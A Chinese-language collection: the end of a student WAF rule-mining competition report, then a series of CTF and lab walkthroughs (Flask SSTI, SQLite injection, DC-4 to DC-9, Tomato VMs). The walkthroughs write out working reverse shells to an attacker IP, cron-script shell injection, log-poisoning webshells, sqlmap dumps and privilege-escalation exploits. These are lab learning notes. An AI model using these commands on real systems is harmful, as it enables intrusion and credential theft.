围绕 10 种维度生成变种：变量插入、大小写混淆、完整路径替换、IFS及其变种替代、路径斜杠变种、通配
符变种、引号拆分、变量拼接、二层组合、三层组合。每条原始 payload 随机选取 4-5 种适用规则生成变种，
主要库为：
random打乱顺序，随机选取，re定位cat位置，pathlib读写输入输出文件等...
Seed=20260611。
举例空格变种函数：
应用顺序：
尝试次数：
运行变种脚本，在165条真实数据的基础上生成737条变种数据
2. 聚类（cluster_training_set.py）
主要作用：
聚类函数分为三步：
将训练集中的 payload 按 shell 元字符（特殊符号）切分为 token，用 all-MiniLM-L6-v2 编码为 384
维语义向量，再通过 HDBSCAN 密度聚类自动发现簇，并输出簇结果和噪声列表。

主要库为：
re 按 shell 元字符正则分词，sentence-transformers 将 token 序列编码为语义向量，hdbscan 密度聚类，numpy
承载嵌入矩阵，json 输出聚类结果，argparse 解析命令行参数，pathlib 读写文件。
分词正则+Token化：
all-MiniLM-L6-v2 编码Token化的payload为 384 维语义向量：
（解决SSL证书问题：从 Hugging Face
下载模型时，系统要验证SSL证书，但容易验证失败，所以绕过验证，强制信任服务器）
聚类函数：
其中调入两个关键HDBSCAN参数，min_cluster_size=5表示一个簇至少5个成员，min_sample=k（1）
（k值，表示以一个点周围有k个点来判断他是否可以成为中心，k=1这里就会让聚类很敏感，不易把边缘样
本当成噪声处理掉）
聚类结果：
737 样本 → 63 簇 + 206 噪声，噪声率 27.95%，轮廓系数 0.4549，输出cluster_results.json，记录
3. 规则投票（vote_cluster_regex.py）
主要作用：
对每个簇，将簇内 payload 样本发送给 LLM，独立调用 3
次gpt5.5（temperature=0.7），要求每次归纳一条正则表达式。仅当 3
次输出完全一致时，该候选规则才被接受；不一致的簇标记为投票分歧，暂不收录。
主要库为：
openai 调用 GPT 接口生成规则，httpx 自定义 HTTP 客户端（禁用 SSL 验证、支持自定义 base_url），json
读写聚类结果和投票输出，re 清理 LLM 输出中的 markdown 标记，os 读取环境变量中的 API Key，time
指数退避重试，argparse 解析命令行参数。
调用模型以及参数：
My Prompt:：
投票逻辑：
调用+异常重试：
调用 GPT 拿正则，失败了自动重试最多 3
次，每次间隔越来越长（1秒→2秒→4秒），三次全失败就抛异常。
4. WAF 运行时验证（waf_probe.py）
主要作用：
向本地 WSL2 中运行的 Apache + ModSecurity + CRS 发送真实 HTTP 请求，逐条携带攻击
payload，根据返回的 HTTP 状态码判断是否被 WAF 拦截（4xx/5xx 视为拦截，2xx/3xx 视为放行），统计
blocked/allowed 数量
主要库为：
urllib.request 发送 HTTP GET 请求，urllib.parse 将 payload 编码为 URL 查询参数，sys 读取命令行传入的目标
URL 和 payload 文件路径。
请求构造：
拦截判定逻辑：
运行方式：
python waf_probe.py http://127.0.0.1:8080 locked_generalization_attack_real.txt

实验结果与打包

输出示例：
URL: http://127.0.0.1:8080
Total: 144
Blocked: 129
Allowed: 15
Allowed samples:
- line 26: [200] cat%20/et%5C%0Ac/pa%5C%0Asswd
五：实验结果
1. 聚类阶段
输入样本：737
聚类数：63
噪声点：206
轮廓系数：0.454909
噪声抽审结果：人为观察206 个
噪声里，符号混淆的—153个、像真命令的—40个，html标签—9个、普通文本—4
观察噪声得到结论：206 条噪声里，只有 13 条是真正的废物。所以噪声不能直接扔，值得人工少选
2. 规则投票阶段
模型：gpt-5.5
Temperature：0.7
每簇采样：3 次
处理簇数：63
一致通过簇数：0
一致拒绝簇数：63
也就是说，三次采样投票没有直接产出“完全一致”的簇级规则，后面还是靠人工筛选和压缩落地。
说明！LLM在随机性不同的时候，无法自动的产出稳定的规则！
3. 规则压缩对比
对比 rules_final.txt（15条） 和 rules_final_compact.txt（11条）：
评测集
测什么
15 条
11 条
变化
同源集（100条）
训练分布内的变种
91/100
100/100
从差9个到全过
冻结泛化攻击子集（144条）
真实攻击
139/144
144/144
从差5个到全过
独立盲测（64条）
全新来源
62/64
62/64
无变化
结论：
11 条紧凑规则比 15 条更稳；
4. 冻结一次、只测一次的公共来源 hold-out
公共来源hold-out（64条）和训练链路完全无关，是 6
个新来源的独立样本。冻结后只测一次，也不再回头调参。这组 63/64 是整个项目里最接近独立盲测的证据

，说明规则不是靠记住训练数据得分，而是真正学到了绕过家族的通用模式。
来自frozen_independent_blind_result.json) 的结果：
64 条，63 条命中，1 条漏报，命中率 98.44%
漏掉的那条是：
cat%20/et%5C%0Ac/pa%5C%0Asswd
5. 误报与边界测试
纯误报集（一点不能报错）：
benign_context_docs.txt
110
条
纯文字文章文档，
教程、说明书
0
误
报
规则完全不碰纯文字
custom_only_logs_500.txt
500
条
混合日志抽样，只
测结论规则
0
误
报
剥离 CRS 其他规则后的纯净结果
false_positive_logs_stress.txt
5200
条
真实访问日志压力
集
0
误
报
15 条版本曾误拦 200 条，11 条压到
0，体现了压缩效果
边界探针集：
（来源于： man7.org 的 CAT(1) 手册页格式、FreeCodeCamp 的教学风格、GeeksforGeeks 的结构化示例等...）
cat_cat_in_context_probe.txt
117
条
Cat攻击payload
117条拦住了1
15个
15 条版本曾误拦 200 条，11 条压到
0，体现了压缩效果
说明规则对命令模式高度敏感
6. CRS 运行时对比
C:\Users\pc\Desktop\coreruleset\rules\REQUEST-932-APPLICATION-ATTACK-RCE.conf
在 WSL2 的 Apache + ModSecurity + CRS 真实环境中，用 144 条 attack-only 冻结泛化集逐条发送 HTTP
请求，统计 WAF 实际拦截数。
运行口径
文件
命中
含义
仅 REQUEST-932 + REQUEST-949
crs_932_attack_result.json
90/144
只加载 CRS
自带的命令注入规则，过滤 90 条
custom-only
custom_only_attack_result.json
98/144
只加载自定义的 11 条规则，过滤
98 条
CRS + custom
crs_custom_attack_result.json
129/144
两者并行，过滤 129 条
说明：自定义规则确实带来了增量，而且不是只在离线评测里好看
综上6个结论：
聚类阶段能把 737 条样本压成 63 个家族；
投票阶段没有“自动全通”，说明后面人工筛选是必要的；
最终 11 条紧凑规则是当前最稳的版本；
纯误报集里已经做到 0；
真实运行时对 CRS 基线有明显增量。
exe打包以及setup打包
打包工具：PyInstaller 6.14.1把项目压缩为CRSRuleMiner.exe

打包方式：CRSRuleMiner.spec 配置文件，一键打包
入口：app.py
资源：static/ + templates/ 一起打进包
输出：dist\CRSRuleMiner.exe
console=False（启动不弹黑窗）
启动流程：双击 exe → 自动拉起 FastAPI 本地服务（端口 8000）→ 打开桌面窗口 →
搜索、预览、导出全能用。关掉窗口，后台服务自动退出。
6.19补：
之前的安装包只带了单个exe，安装后项目文件不完整。
现在改为先把根目录中需要交付的文件复制到installer\payload\，再由 Inno Setup 递归打包。
打包时排除了build/、dist/、venv/、__pycache__/、installer/等构建目录，避免把临时产物一并带入。
工作台包含内容：
主界面展示：
分为左中右布局，整体弹窗以及风格参照apple以及个人喜好
左：流程介绍，核心数据，数据一览，运行环境
中：概况介绍，重要数据，结果按钮，报告摘录
右：高级搜索，搜索结果
高级搜索框：搜 payload、搜文件名、搜数字（如 63/64、CRS），支持按范围、文件类型、类别三层筛选
中间有两个按钮——聚类结果以及复现流程，可以点击跳出独立的内容弹窗
点击复现流程，可以在复现过程中快速核对每一步是怎么做的
点击聚类结果：点击后打开独立弹窗，里面显示了变种之后的总样本数，划出同源样本集之后产生的簇数，
噪声书，以及噪声率，噪声样本示例，簇分布，簇分布可以展开
簇展开
噪声示例
文件展示：文件一览以及搜索可以查看每一个文件，以及包含该文件的文件名，文件路径，类别，类型，行
数，摘要，右上角以及Esc均可关闭
注意：exe 依赖本地文件完整存在，如果数据文件缺失，界面显示为空，不会伪造内容。下载后首次启动有
索引时间，属于正常扫描开销。
最上方有刷新索引按钮，如果后期文件更新，直接刷新索引就可以展示当前最新文件，
七：AI 对话记录与项目历程
在项目开发过程中使用 AI 助手（gpt5.5，cluadecode，deepseek，claude.ai）辅助：s
因为整个方案讨论的过程，文字长度，以及时间太太太太太冗长，只能贴一些重要部分，中间经历了一些修
改
比如把第一版已经做好的K-means+pca降维改成了HDBSCAN聚类
比如第一版做出来的项目关注的命令过于泛散，深度不够，最后只能大改专注于一个cat命令，重新写
比如第一次贸然的提交了crs社区的pr因为格式不对不够详细而被社区审核者驳回
比如
（第一版文章）
（第一次提交pr）

Ai在代码实现方面的确很强，但是创新方面与真正决策还是不如人意，而且deepseek的专家模式真的难用至
极，知识库只截至于2025年5月，对于新发展的内容判断很容易出错！
初代大纲：
以下是我们的一些对话截图：
Claude在收集数据方面帮我搜索了不仅限于国内的catpayload来源:
Claudecode拉去下载文章，提取payload，并进行清洗去重：
但是幻觉严重，必须进行去重：
DEEPSEEK:
帮我真正的理解项目，以及新的名词（消融实验，聚类，机器学习，混淆矩阵等等...)，帮我真正理解codex
的代码，算法，调整提交pr的格式
但是有时候会犯错
帮我正确调用api：
Codex（代码主力，修bug主力）：
部分prompt是与deepseek交流后生成的，在写prompt的时候避免ai幻觉，需要反复强调真实
现阶段完结撒花！~感谢观看

页面 12

???????

图示

第 13 页

figure_2_1_system_architecture.png

figure_2_1_system_architecture.png

第 14 页

figure_2_2_rule_workbench_flow.png

figure_2_2_rule_workbench_flow.png

第 15 页

figure_2_4_software_flow_vertical.png

figure_2_4_software_flow_vertical.png

第 16 页

figure_3_1_test_closure.png

figure_3_1_test_closure.png

第 17 页

figure_3_2_waf_environment.png

figure_3_2_waf_environment.png

第 18 页

figure_3_2_waf_results.png

figure_3_2_waf_results.png

第 19 页

figure_3_3_runtime_compare.png

figure_3_3_runtime_compare.png

第 20 页

figure_3_4_baseline_gain.png

figure_3_4_baseline_gain.png

第 21 页

figure_3_5_boundary_pressure.png

figure_3_5_boundary_pressure.png

第 22 页

figure_4_1_cluster_summary.png

figure_4_1_cluster_summary.png

第 23 页

figure_4_2_stability_filter.png

figure_4_2_stability_filter.png

第 24 页

figure_4_3_frozen_loop.png

figure_4_3_frozen_loop.png

第 25 页

figure_4_4_workbench_finalize.png

figure_4_4_workbench_finalize.png

第 26 页

figure_4_5_crs_gain.png

figure_4_5_crs_gain.png

作品原创性声明

?????
附件3：
作品原创性声明
本参赛团队郑重声明：本团队在第十九届全国大学生信息安全竞赛（作品赛）暨第三届“长城杯”网数智安
全大赛（作品赛）所提交的作品 RuleMiner——面向WAF的检测规则自动生成化系统 ，是团队同学在指导老
师的指导下，独立进行研究工作所取得的真实研究成果，从创意到实现均为原创。除作品报告中已经标注引
用的内容外，本参赛作品不包含任何其他个人或集体已经发表或撰写过的研究成果。对本作品的研究做出贡
献的个人和集体，均已在报告中以明确方式标明。本团队及作品严格遵守竞赛组委会颁布的参赛要求，并且
无侵害他人合法权益行为和违反相关法律法规行为。本团队对该作品拥有完整、合法的著作权及其他相关权
益。本声明的法律后果由本参赛团队承担。
作品参赛团队组员（签名）：
2026年 6 月29日

Flask SSTI：过滤条件下的模板注入分析

2026-05-08T01:16:06.000Z

文章状态：待复验
本文由 Lee 的 CSDN 原创学习记录迁移并重新整理。以下操作仅限自建环境、CTF 与明确授权靶场，请勿用于未授权目标。

学习目标

判断用户输入是否进入服务端模板解释器
理解模板上下文和对象访问带来的攻击面
区分输出转义与禁止动态模板执行的作用

实验说明

难度：进阶
范围：本地或公开授权靶场
复验状态：正文已完成格式迁移，关键结论将在后续使用固定环境重新验证

原始实验记录

两个思路一样的题er…

星愿信箱；

给了一个输入内容重复回显的页面，先用wappalyzer进行技术栈识别

实验截图 1

一个基于python的flask，先看有没有ssti漏洞，没有的话尝试session伪造

尝试{{7*7}}，没有有效回显

实验截图 2

补充模板引擎：

Jinja2：使用{{}}作为输出语法（{{7*7}}）
Mako：使用${}作为输出语法（${7*7}）

尝试{%%}，回显成功，存在ssti漏洞，而且{{}}可能被过滤掉了

实验截图 3

找可以访问的全局对象——回显包括这个flask的所有全局变量，函数，导入模块，内置函数，看全局对象的原因是为了看__builtins__与os模块是否存在，他们如果都存在的话，证明我们可以用一些命令来探测信息

1	{% print(url_for.__globals__) %}

实验截图 4

实验截图 5

存在包含 __builtins__ 的字典对象以及os

直接尝试读取flag

1	{% print(url_for.__globals__['__builtins__']['open']('/flag').read()) %}

回显成功

实验截图 6

[玄武杯 2025]锦家有什么

flask..

实验截图 7

进入主页面，发现按钮失效，view-source一下：

提示路径try_a_try

实验截图 8

访问，提示输入参数

实验截图 9

发现写入name参数的时候回显有改变?name=leee

实验截图 10

因为先前验证了模板是flask，所以试一下ssti，回显正确

实验截图 11

继续看全局对象,?name={{url_for.__globals__}}，回显有__builtins__以及os

实验截图 12

实验截图 13

直接读，?name=={{(url_for.__globals__[‘__builtins__‘][‘open’](‘/flag’).read())}}

拿到flag

实验截图 14

防御与复盘

不要把用户输入拼接成模板源代码，应将其作为普通数据传入固定模板。
减少模板上下文中暴露的对象和函数，避免依赖不完整的字符黑名单。
为异常模板表达式和执行错误建立日志与告警。

原文出处

CSDN 原创记录

SQLite 注入与 Next.js 页面入口分析

2026-05-07T08:25:15.000Z

文章状态：待复验
本文由 Lee 的 CSDN 原创学习记录迁移并重新整理。以下操作仅限自建环境、CTF 与明确授权靶场，请勿用于未授权目标。

学习目标

从页面与接口行为识别 Next.js 应用入口
理解 SQLite 与常见数据库在语法和元数据上的差异
使用最小化验证确认注入而不过度获取数据

实验说明

难度：中级
范围：本地或公开授权靶场
复验状态：正文已完成格式迁移，关键结论将在后续使用固定环境重新验证

原始实验记录

1：基于sqlite的sql注入

2：next.js

[GHCTF 2025]SQL???

——bool盲注，union注入

测试代码

给了web页面，先测一下

实验截图 1

又一个flask，而且有参数，直接尝试sql，并且注意，这里的正常页面长度大概是710k+

实验截图 2

恒真恒假测试，回显有异，继续进行bool盲注，试了好几个mysql函数都用不了，尝试SQLlite回显了一个正常页面

实验截图 3

后端数据库为 SQLite，

以下环境换成23570端口

在url里探测列数，测到?id=1 order by 6–+报错，说明有5列

实验截图 4

继续测联合注入?id=-1 union select 1,2,3,4,5–+，回显成功

实验截图 5

学习一下SQLite：

SQLite 是文件型数据库，MySQL 是服务型数据库，两者注入方式不同
SQLite没有默认端口，但mysql默认端口是3306
前者获取版本是sqlite_version()，后者是version() or @@VERSION
都能用group_concat()
SQLite用group_concat(name)一次性查出所有表名
sqlite_master是SQLite 的元数据目录表，存储所有表的信息，相当于 MySQL 的 information_schema

爆版本号?id=-1 union select 1,sqlite_version(),3,4,5–+

实验截图 6

获取表名：?id=-1 union select 1,sqlite_version(),group_concat(name),4,5 from sqlite_master

实验截图 7

发现flag表，进一步进去看?id=-1 union select 1,*,3,4,5 from flag

实验截图 8

成功找到flag

[LitCTF 2025]nest_js

进去是一个登录框，先disearch扫下url，只扫到一个favicon.ico ，进去看是一个图标，没什么用，whatweb看一下

实验截图 9

PasswordField，跟页面的登录框对应上，注意还有个X-Powered-By[Next.js]，说明前面的x框架由Next.js驱动

学习一下Next.js，Next.js 是框架，它基于 React(构建用户界面的JS库)，并给它加上了路由、服务端渲染、API 后端等全套功能

题目提示了弱口令爆破，但是对于next.js./react框架，页面源码看不到是post还是get，js文件里才能看到

看源码再确定一下，提交框无action属性

实验截图 10

路径里有js文件

实验截图 11

下载这个文件

1	curl -s http://authorized-lab.local/_next/static/chunks/app/login/page-b20a48e2d273348a.js -o login_page.js

目的： Next.js 会将页面逻辑打包到 /_next/static/chunks/ 目录，分析这些文件找到 API 端点。

下载登录页面的 JS 文件（从页面源码中找到的路径）

curl -s http://authorized-lab.local/\_next/static/chunks/app/login/page-b20a48e2d273348a.js -o login_page.js

实验截图 12

发现了是POST，两个字段名是username和password

实验截图 13

弱密码爆破得到admin:password

携带 token 访问 dashboard

curl -s -H “Cookie: token=generated-jwt-token-here” \ http://authorized-lab.local/dashboard

得到flag

实验截图 14

防御与复盘

所有查询参数均使用参数化语句，不拼接来自 URL、表单或 JSON 的输入。
为异常查询、数据库错误和高频探测建立监控。
生产环境关闭详细错误回显，并限制数据库文件和备份文件的访问。

原文出处

CSDN 原创记录

dc9打靶报告

2026-02-04T19:02:56.341Z

环境：

攻击机Kali IP: 192.168.145.128

扫描局域网发现存活主机

nmap看dc9开放端口

回显：22端口关闭，80端口开放（Apache服务/2.4.38）

whatweb进一步探查，确定无cms，是自定义网页

看一下页面长这样

disearch扫一下子url

有用的页面如下

发现一个search输入框

测试永真永假语句发现回显不一样，说明存在sql注入点

看一下源码，确定是post

所以用sqlmap，向search.php发送post请求，在名为 search的字段里测试注入，下面所有的sqlmap语句均先用1这个值作为基础

先查询库名

sqlmap -u “http://192.168.145.191/results.php“ –data=”search=1” –dbs”

发现三个库

先看看users表里面

有用户和密码，再往里爆一层，我们只导出用户名和密码

sqlmap -u “http://192.168.145.191/results.php“ –data=”search=1” -D users -T UserDetails -C “username,password” –dump –batch

分别都做成文件先存起来，之前ssh没开，目前无法使用hydra爆破

先继续搜

sqlmap -u “http://192.168.145.191/results.php“ –data=”search=1” -D Staff –tables –batch

看到Staff库里有两个表

看看第一个表里有什么

sqlmap -u “http://192.168.145.191/results.php“ –data=”search=1” -D Staff -T StaffDetails –columns –batch

用户名：

继续看users里面有什么

sqlmap -u “http://192.168.145.191/results.php“ –data=”search=1” -D Staff -T Users –columns –batch

爆出来三个字符段——密码，id，名字

sqlmap -u “http://192.168.145.191/results.php“ –data=”search=1” -D Staff -T Users –dump –batch

继续爆下去

得到admin的密码，附一个破解哈希密码的网址CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

得到密码transorbital1

登录后台

测试是否存在文件包含漏洞

存在文件包含漏洞，通过参数file可以读取任意文件，刚开始nmap的时候，可以知道负责ssh的22端口没开，我们现在要通过端口敲门把他打开

http://192.168.145.191/addrecord.php/?file=../../../../../../etc/knockd.conf

获得了端口敲门序列

打开SSH：7469 → 8475 → 9842 正向
关闭SSH：9842 → 8475 → 7469 反向

使用nc按序列敲门触发防火墙规则，打开了22端口

** -z** = zero-I/O模式（只连接，不发送数据）

只测试端口是否可连接

连接成功立即断开

不进行数据交互

然后我们现在就可以用hydra爆破了

得到三组用户以及密码

逐个进去看，都没有什么有用信息，到了janitor之后多了一个有secrets的目录，进去看看

发现又多了几个密码，加到密码列表里继续爆破

再爆破一遍，得到了新的账户密码——fredf

远程连接成功登录

查看 sudo -l：发现可执行 /opt/devstuff/dist/test/test（root权限）

进去

我们来分析一下脚本内容，大致是把第一个打开的文件给加到第二个后面，因为这个脚本是以root运行的，所以我们可以利用它来修改系统文件——/etc/passwd

f = open(sys.argv[1], "r")     # 打开第一个
output = (f.read())            # 读取全部内容

f = open(sys.argv[2], "a")     # 打开第二个
f.write(output)                # 将读取的内容写入
f.close()v

所以直接创建一个root用户提权，用openssl passwd 把密码加密加盐

成功

完结撒花！！❀！

dc8靶机报告

2026-02-04T19:02:36.007Z

环境：

攻击机kali ip：192.168.145.128

先arp-scan -l 扫描存活主机，得到靶机ip：192.168.145.190

扫端口，发现开放了80——http协议，apache服务，drupal7的cms

还有一个22端口的远程连接

看一眼网页

发现url http://192.168.145.190/?nid=1里面有?nid=1/2/3参数可控制，测试是否存在sql注入点，试一下?nid=1’，有回显sql报错

用sqlmap跑（可以尝试droopescan扫用户）
sqlmap -u "http://192.168.145.190?nid=1" --dbs
枚举所有的数据库

sqlmap -u "http://192.168.145.190?nid=1" -D d7db -T users -C name,pass --dump-D指定数据库名，-T指定表名

然后获得两个用户hash：

admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQgxkoA

john:$S$DqupvJbxVmqjr6cYePnx2A891ln7ls

touch一个文件，把这两个密码都放进去爆破

$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z

$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

1	john pass.txt --format=drupal7

得到一个针对john的密码turtle

dirsearch扫一下可以确定登录页面的路径

访问 http://192.168.145.190/user/login

使用 john:turtle登录成功

发现可提交PHP代码的表单

3.4 反弹Shell

按dc7的思路去找能注入php代码的地方，进去add content发现创建内容被分类了——基础页面和网络表单，无论哪个都无法指定php语言

回到主页，到处乱翻，然后在contact us 下进入webform内，我们可以发现在form settings下有

text format可以修改

选择之后打开kali的1234端口

然后save configuration，返回view填写表单触发执行php代码

kali这边连接成功

python写一个伪终端

1	find / -user root -perm -u=s 2>/dev/null

发现Exim 4.89版本，有root权限的SUID文件

利用Exim提权

给文件加权

获得root权限shell

1 2	cd /root cat flag.txt

完结撒花！！

dc7打靶报告

2026-02-04T19:02:10.767Z

环境：

攻击机ip：Kali192.168.145.128

靶机ip：192.168.145.189

信息收集

arp-scan -l，发现存活靶机 192.168.145.189

识别开放端口和操作系统

nmap -A -p- 192.168.145.189

开放端口：22(SSH)、80(HTTP)——cms是drupal 8，服务器是Apache

操作系统：Linux

看一下web页面，提示这一关爆破和字典攻击都不一定有用

dirsearch -u http://192.168.145.189 -i 200，指定状态码200扫子url

逐个尝试一下，发现以下几个页面有有用回显

看到左下角有一个疑似靶场作者留下的标识

搜一下

看看存储库里的每个文件，方向对了

找到一组用户名和密码

因为之前开放了22端口，直接用这组密码远程连接试试

登录成功

sudo -l试了下用不了

ls发现有一个mbox，一个backups

backups里有两个加密文件

cat一下mbox发现几个root发的邮件，有一个定时任务

大约是15分钟执行一次

Cron任务执行的 脚本完整路径： /opt/scripts/backups.sh

目前为止，我们还有个网页没有登录进去

Drupal网站备份数据库 最常用工具就是drush， drush 可以 直接重置Drupal用户密码

1	drush user-password admin --password="newpass123"

登录成功

左下角有一个add content ，我们试试能不能写个马进去，发现文本格式没有php的

在manage里找到了extend

安装文本格式php的工具插件

安装PHP Filter模块

再回去artical编辑那里，发现文本形式可以选择php了

写入一句话木马

保存

蚁剑成功连接

建立反弹shell

kali:nc -lvnp 1234

虚拟终端：nc -e /bin/bash 192.168.145.128 1234

然后我们将一段能建立 反向Shell的代码追加到 /opt/scripts/backups.sh 文件中，等cron以 root权限执行该脚本时，就能获得一个root shell

echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.145.128 5555 >/tmp/f” >> /opt/scripts/backups.sh

rm /tmp/f;                    # 删除旧的管道文件（如果存在）
mkfifo /tmp/f;                # 创建命名管道文件 /tmp/f
cat /tmp/f |                  # 读取管道内容
/bin/sh -i 2>&1 |             # 启动交互式shell，并将错误输出重定向到标准输出
nc 192.168.145.128 5555 > /tmp/f  # 连接到攻击者机器(192.168.145.128:5555)，并将接收到的数据写入管道

等待root执行定时任务

kali监听： nc -lvnp 5555

完结撒花！！

tomato渗透报告

2026-01-27T23:32:27.482Z

一：环境：

攻击机：kali：192.168.145.128

靶机：tomato：192.168.145.182

工具：

二：渗透过程

arp-scan -l扫一下，发现疑似靶机 ip 192.168.145.182

简单扫一下，观察开放端口，确定该ip是攻击目标

注意：这个命令后面对应的SERVE只是对应nmap内部的服务映射表，并不一定是攻击目标的端口服务

所以我们再侵略性扫一下

看回显，分析一下得到的信息：

目标为Linux，内核版本号是3.2-4.9

22端口——对应ftp（文件传输协议），可以尝试匿名登录

80与8888端口——对应http协议，一个apache一个linux

2211端口——对应ssh远程连接协议

先尝试一下ftp匿名登录

1	ftp 192.168.145.182

这里我尝试了annoymous,tomato,admin几个常见的name，包括hydra爆破前1000个名字都以失败告终

换方法，去火狐里尝试走http

80出来一个large tomato

88出现一个登录页面

感觉都无法利用，于是dirb扫一下目录，看有没有可以用的子url

发现3个，依次访问一下，第一个发现信息回显，第二个还是large tomato，第三个403(服务器理解请求，但拒绝授权——权限不足)

第一个链接是返回父目录链接

第二个是文件夹，我们点开看看

info.php ← 显示PHP/服务器信息

phpinfo.php ← 同上

debug.php ← 调试功能，可能有敏感输出

点进去看，的确回显了php信息，查看一下页面源码，源码提示我们存在一个文件包含漏洞(很像动态一句话木马)，并且include里面通过get传参

ps：服务器会把我们包含的任何文件作为php代码执行，如果包含有效的代码，执行并返回结果，如果不是php代码，就直接回显文件内容

再确定一下：

在url后面令?image=../../../../../etc/passwd（注意：../从3个到6个递增尝试看是否有回显）

成功得到了有tomato的用户名列表：表示一个普通用户 tomato，UID=1000，有 bash 登录权限

ps：这里可以看到后面还有两个sshd和ftp用户，都是服务账户，无法登录

所以我们现在确定了有文件包含漏洞，并且得到了我们下一步攻击要用的用户名——tomato

梳理一下攻击流程：我们现在已经能用文件包含漏洞有限访问一些配置文件了，下一步尝试用这个漏洞完全操控靶机

也就是尝试获得一个shell，进而用python语句形成交互型shell

也就是上传木马，通过url查看/var/log/auth.log文件，发现有回显，所以我们可以产生通过报错把木马写入日志文件里

尝试远程连接报错

回到kali靶机，通过2211端口ssh一句话木马

去我们主机的powershell看一眼具体报错，报的是引用变量的错

刷新日志看看有没有写进去

换种方法：使用 -l 参数指定用户名

ssh -l ‘ ‘ 192.168.145.182 -p 2211

成功了

随便输点密码，刷新日志，看到报错回显

蚁剑连一下日志试试

连接成功

添加后打开虚拟终端，分析回显

内核： 4.4.0-21-generic（2016年Ubuntu）
用户： www-data（低权限）
已知用户： tomato（UID 1000）

所以下一步就是建立稳定的反弹shell，和提权

反弹shell的建立：

现在kali里面随便找个每用的端口开开，我开了1234

**nc**：netcat 工具
**-l**：监听模式（listen）
**-v**：详细输出（verbose），显示连接信息
**-n**：不进行 DNS 解析，直接使用 IP
**-p 1234**：指定监听端口为 1234

bash反弹：

连接成功

继续到tmp目录
cd /tmp
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
chmod +x les.sh
./les.sh

看开头爆出来的几个CVE漏洞，我们尝试第一个脏牛

执行试试

Kali下载编译（用不同exp）

cd /tmp
wget https://www.exploit-db.com/download/40616 -O dirty_simple.c
gcc dirty_simple.c -o dirty_simple -static -pthread -lcrypt
python3 -m http.server 8081

目标机

cd /tmp
wget http://192.168.145.128:8081/dirty_simple
chmod +x dirty_simple
./dirty_simple

提权成功

dc6打靶报告

2026-01-27T23:31:22.932Z

环境：kali ip：192.168.145.128

arp-scan -l 发现存活靶机IP： 192.168.145.188

nmap -A -sV -p- 192.168.145.188 扫描端口

发现开放端口：22（SSH）、80（HTTP），并提示域名 wordy

然后进行域名解析，因为80端口重定向到 http://wordy，需本地解析

vim /etc/hosts 添加： 192.168.145.188 wordy

whatweb扫一下确定cms是wordpress

然后进行 信息收集

wpscan –url http://wordy –enumerate u –no-update

得到用户表

admin, mark, graham, sarah, jens

官网有个小提示

cat /usr/share/wordlists/rockyou.txt | grep k01 > ps.txt

生成密码文件 password.txt

然后创建一个user列表文件，把刚刚我们扫到的用户名存进去

开始爆破

wpscan --url http://wordy -U user.txt -P ps.txt

得到一组结果： mark:helpdesk01

登陆成功

发现一个Activity on Wordy插件

百度一下发现Activity Monitor插件存在命令注入，searchsploit扫一下看有没有执行脚本

45274.html，html程序运行更简单，先试试这个

Kali监听： nc -lvnp 1234

修改脚本中几个地方——靶机地址，攻击ip，攻击机开放端口

Kali监听： nc -lvnp 4443

浏览器打开45274.html并提交，获得反向Shell

file:///tmp/45274.html

权限提升（横向移动）——先从mark用户提权至其他用户

python伪终端

在/home/mark目录发现文件： /home/mark/things-to-do.txt

得到一组密码信息，graham密码： GSo7isUM1D4

SSH登录： ssh graham@192.168.145.188

继续权限提升（纵向提权）——从graham提权至root

sudo -l 发现jens可执行 /home/jens/backups.sh

向backups.sh注入命令：

echo '/bin/bash' >> /home/jens/backups.sh

切换用户： sudo -u jens ./backups.sh → 获得jens Shell

sudo -l 发现jens可执行nmap

创建恶意nse脚本： echo 'os.execute("/bin/sh")' > kali.nse

sudo nmap --script=kali.nse → 获得root Shell

完结撒花！！！！！

dc5靶机报告

2026-01-27T23:30:56.811Z

信息收集：

arp-scan -l扫

nmap扫

分析回显，我们可以看到操作系统是linux3-4的，开了三个端口

80：http协议，nigux1.6.2的服务

看80端口

http://192.168.145.187

点击 Contact 页面提交表单，会跳转到 thankyou.php

可以看到url中 thankyou.php 后面包含了firstname,lastname,cuntry等参数，我们试一下写入可 file 参数，看是否存在文件包含

在?file=后面尝试读取系统文件：

1	http://192.168.145.187/thankyou.php?file=/etc/passwd

如果成功显示用户列表，则证实存在 本地文件包含（LFI）漏洞。

再刷新一遍，bp抓包，看到我们刚才测试的文件路径，把这个改成一句话木马

forward放包，linux的报错日志常见路径是

1	/var/log/nginx/error.log

我们尝试访问一下，可以发现木马被成功写入

蚁剑连接，连接成功

用kali建立反弹shell

用python构造一个伪终端

这时候再kali的反弹shell里面检查suid程序

find / -perm -u=s -type f 2>/dev/null

可以找到关键程序 /usr/bin/screen-4.5.0

查找漏洞，尝试第一个41154.sh脚本

复制到kali终端的tmp文件下，保存整个脚本

看看

在kali上开启http服务

在靶机的shell里下载exp脚本，给执行权限，./dc5.sh执行提权

提权成功，在root下找到flag文件

完结撒花！！！！！

dc4打靶报告

2026-01-27T23:30:04.346Z

先arp-scan -l 扫局域网内存活主机

发现疑似靶机ip，开始探测

start attrack攻击最后得到密码happy

command进去，发现不同的选项run了之后，select后面会对应一些命令行，所以可以推测run了之后终端会执行对应的命令行

所以run的时候抓包看一下，找到了命令行的地方

send to repeater试一下其他命令

whoami回显成功

kali连反弹shell

把bash命令行写到这里面，然后放包

注意：前面观察ls的时候，数据包里面传输的命令行把空格都换成了加号+

所以我们的bash命令是这样的

1	bash+-c+'bash+-i+>&+/dev/tcp/192.168.145.128/1234+0>&1'

修改之后forward放包

连接成功

到处看看有什么有用的

几个名字下都是空，jim用户里有东西，继续进到backups里面还有一个old-passwords.bak文件

cat后发现是一个密码列表

重新开一个攻击终端，把密码列表copy过去

hydra爆破

爆破出来jim的密码是jibril04

远程连接成功，看到回显里面有个提示

“You have mail”

猜测是不是让找mail文件，ls看一下

果然有一封来着另一个用户charles的mail

给了密码，直接su到charles用户下，切换成功

我们看一下这个账号能用root权限做什么

这里，说明用户 charles 可以无需密码，以 root 权限执行 /usr/bin/teehee 命令

开始提权——passwd文件注入提权

